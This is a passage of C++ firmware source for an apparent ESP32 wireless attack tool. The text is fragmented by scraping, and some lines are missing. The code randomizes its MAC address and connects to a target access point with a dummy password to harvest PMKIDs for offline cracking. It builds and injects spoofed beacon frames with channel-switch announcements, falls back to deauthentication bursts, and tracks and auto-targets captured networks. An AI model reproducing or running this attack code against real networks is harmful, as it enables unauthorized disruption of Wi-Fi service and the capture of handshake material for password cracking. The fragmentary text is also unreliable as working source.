const char *ssid, uint8_t ssid_len) {
1897 if (ssid_len == 0)
return;
1898 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1899 if (!_apCache[i].flags.active || _apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0)
continue;
1900 if (!_isCaptured(_apCache[i].bssid)) _markCaptured(_apCache[i].bssid);
1904void Politician::_markCaptured(
const uint8_t *bssid) {
1905 if (_isCaptured(bssid))
return;
1906 if (_capturedCount >= MAX_CAPTURED)
return;
1909 while (pos < _capturedCount && memcmp(_captured[pos], bssid, 6) < 0) pos++;
1911 if (pos < _capturedCount) {
1912 memmove(&_captured[pos + 1], &_captured[pos], (_capturedCount - pos) * 6);
1914 memcpy(_captured[pos], bssid, 6);
1917 _log(
"[Cap] Marked %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1920void Politician::_expireSessions(uint32_t timeoutMs) {
1922 for (
int i = 0; i < MAX_SESSIONS; i++)
if (_sessions[i].flags.active && (now - _sessions[i].created_ms) > timeoutMs) _sessions[i].flags.active =
false;
1926#ifndef POLITICIAN_NO_DB
1928 while (left <= right) {
1929 int mid = left + (right - left) / 2;
1932 if (cmp < 0) left = mid + 1;
1933 else right = mid - 1;
1939void Politician::_randomizeMac() {
1940 uint8_t mac[6]; uint32_t r1 = esp_random(), r2 = esp_random();
1941 mac[0] = (uint8_t)((r1 & 0xFE) | 0x02); mac[1] = (uint8_t)(r1 >> 8); mac[2] = (uint8_t)(r1 >> 16);
1942 mac[3] = (uint8_t)(r2); mac[4] = (uint8_t)(r2 >> 8); mac[5] = (uint8_t)(r2 >> 16);
1943 esp_wifi_set_mac(WIFI_IF_STA, mac); memcpy(_ownStaMac, mac, 6);
1944 _log(
"[Fish] MAC → %02X:%02X:%02X:%02X:%02X:%02X\n", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
1947void Politician::_startFishing(
const uint8_t *bssid,
const char *ssid, uint8_t ssid_len, uint8_t channel) {
1948 if (_fishState != FISH_IDLE)
return;
1949 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1950 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0 && _apCache[i].flags.ft_capable)
1951 _log(
"[Fish] Note: AP advertises FT AKM — PMKID may be FT-derived and require FT-aware cracking\n");
1953 _randomizeMac(); esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); _channel = channel;
1954 wifi_config_t sta_cfg = {}; memcpy(sta_cfg.sta.ssid, ssid, ssid_len);
1955 memcpy(sta_cfg.sta.password,
"WiFighter00", 11); sta_cfg.sta.bssid_set =
true; memcpy(sta_cfg.sta.bssid, bssid, 6);
1956 esp_wifi_set_config(WIFI_IF_STA, &sta_cfg); esp_wifi_connect();
1957 memcpy(_fishBssid, bssid, 6); memcpy(_fishSsid, ssid, ssid_len); _fishSsid[ssid_len] =
'\0';
1958 _fishSsidLen = ssid_len; _fishChannel = channel; _fishStartMs =
millis();
1959 _fishState = FISH_CONNECTING; _fishRetry = 0; _fishAuthLogged =
false; _fishAssocLogged =
false;
1961 _log(
"[Fish] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], ssid_len, ssid);
1964void Politician::_sendCsaBurst() {
1965 uint8_t frame[100];
int p = 0;
1966 frame[p++] = 0x80; frame[p++] = 0x00; frame[p++] = 0x00; frame[p++] = 0x00;
1967 for (
int i = 0; i < 6; i++) frame[p++] = 0xFF; memcpy(frame + p, _fishBssid, 6); p += 6; memcpy(frame + p, _fishBssid, 6); p += 6;
1968 frame[p++] = 0x00; frame[p++] = 0x00; memset(frame + p, 0, 8); p += 8;
1969 frame[p++] = 0x64; frame[p++] = 0x00; frame[p++] = 0x31; frame[p++] = 0x04;
1970 frame[p++] = 0x00; frame[p++] = _fishSsidLen; memcpy(frame + p, _fishSsid, _fishSsidLen); p += _fishSsidLen;
1971 frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = _fishChannel;
1972 frame[p++] = 0x25; frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = 0x0E; frame[p++] = 0x01;
1973 for (
int i = 0; i < _cfg.
csa_beacon_count; i++) { esp_wifi_80211_tx(WIFI_IF_AP, frame, p,
false);
delay(15); }
1974 _log(
"[CSA] Sent burst on ch%d\n", _fishChannel);
1977void Politician::_processFishing() {
1978 if (_fishState == FISH_IDLE)
return;
1979 if (_fishState == FISH_CSA_WAIT) {
1980 if (_isCaptured(_fishBssid)) { _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs =
millis(); _log(
"[CSA] Captured!\n");
if (_autoTarget) {
clearTarget(); _autoTargetActive =
false; }
return; }
1984 const uint8_t *known_sta2 = (_fishSta[0] || _fishSta[1] || _fishSta[2]) ? _fishSta : nullptr;
1986 _log(
"[Attack] CSA fallback triggered — sending Deauth burst\n");
1989 if (!_csaSecondBurstSent && (
millis() - _fishStartMs > 2000)) {
1990 _csaSecondBurstSent =
true;
1991 if (_attackMask &
ATTACK_CSA) _sendCsaBurst();
1993 const uint8_t *known_sta2 = (_fishSta[0] || _fishSta[1] || _fishSta[2]) ? _fishSta : nullptr;
1996 _log(
"[CSA] Burst 2\n");
1998 if (
millis() >= _probeLockEndMs) {
1999 _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs =
millis();
2001 _log(
"[CSA] Wait expired\n");
2002 if (_attackResultCb) {
2003 AttackResultRecord r; memset(&r, 0,
sizeof(r));
2004 memcpy(r.bssid, _fishBssid, 6); memcpy(r.ssid, _fishSsid, _fishSsidLen + 1); r.ssid_len = _fishSsidLen;
2008 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2009 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
2011 _markCaptured(_fishBssid);
2012 _log(
"[Attack] Max attempts reached — permanently skipping %02X:%02X:%02X:%02X:%02X:%02X\n",
2013 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5]);
2019 if (_autoTarget) {
clearTarget(); _autoTargetActive =
false; }
2023 if (_isCaptured(_fishBssid)) { esp_wifi_disconnect(); _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs =
millis(); _log(
"[Fish] Captured!\n");
if (_autoTarget) {
clearTarget(); _autoTargetActive =
false; }
return; }
2024 if (
millis() >= _probeLockEndMs) {
2025 esp_wifi_disconnect();
2027 _fishRetry++; _log(
"[Fish] Timeout retry %d\n", _fishRetry); _randomizeMac();
2028 _probeLockEndMs =
millis() + _cfg.
fish_timeout_ms; _fishAuthLogged =
false; _fishAssocLogged =
false; esp_wifi_connect();
return;
2031 _log(
"[Attack] Switching to CSA\n"); esp_wifi_set_channel(_fishChannel, WIFI_SECOND_CHAN_NONE);
2032 memset(_fishSta, 0, 6);
2040 _csaFallbackMs =
millis() + 1000;
2045 _fishState = FISH_CSA_WAIT; _probeLocked =
true; _probeLockEndMs =
millis() + _cfg.
csa_wait_ms; _csaSecondBurstSent =
false;
2047 _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs =
millis();
2049 _log(
"[Fish] Exhausted\n");
2050 if (_attackResultCb) {
2051 AttackResultRecord r; memset(&r, 0,
sizeof(r));
2052 memcpy(r.bssid, _fishBssid, 6); memcpy(r.ssid, _fishSsid, _fishSsidLen + 1); r.ssid_len = _fishSsidLen;
2056 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2057 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
2059 _markCaptured(_fishBssid);
2060 _log(
"[Attack] Max attempts reached — permanently skipping %02X:%02X:%02X:%02X:%02X:%02X\n",
2061 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5]);
2067 if (_autoTarget) {
clearTarget(); _autoTargetActive =
false; }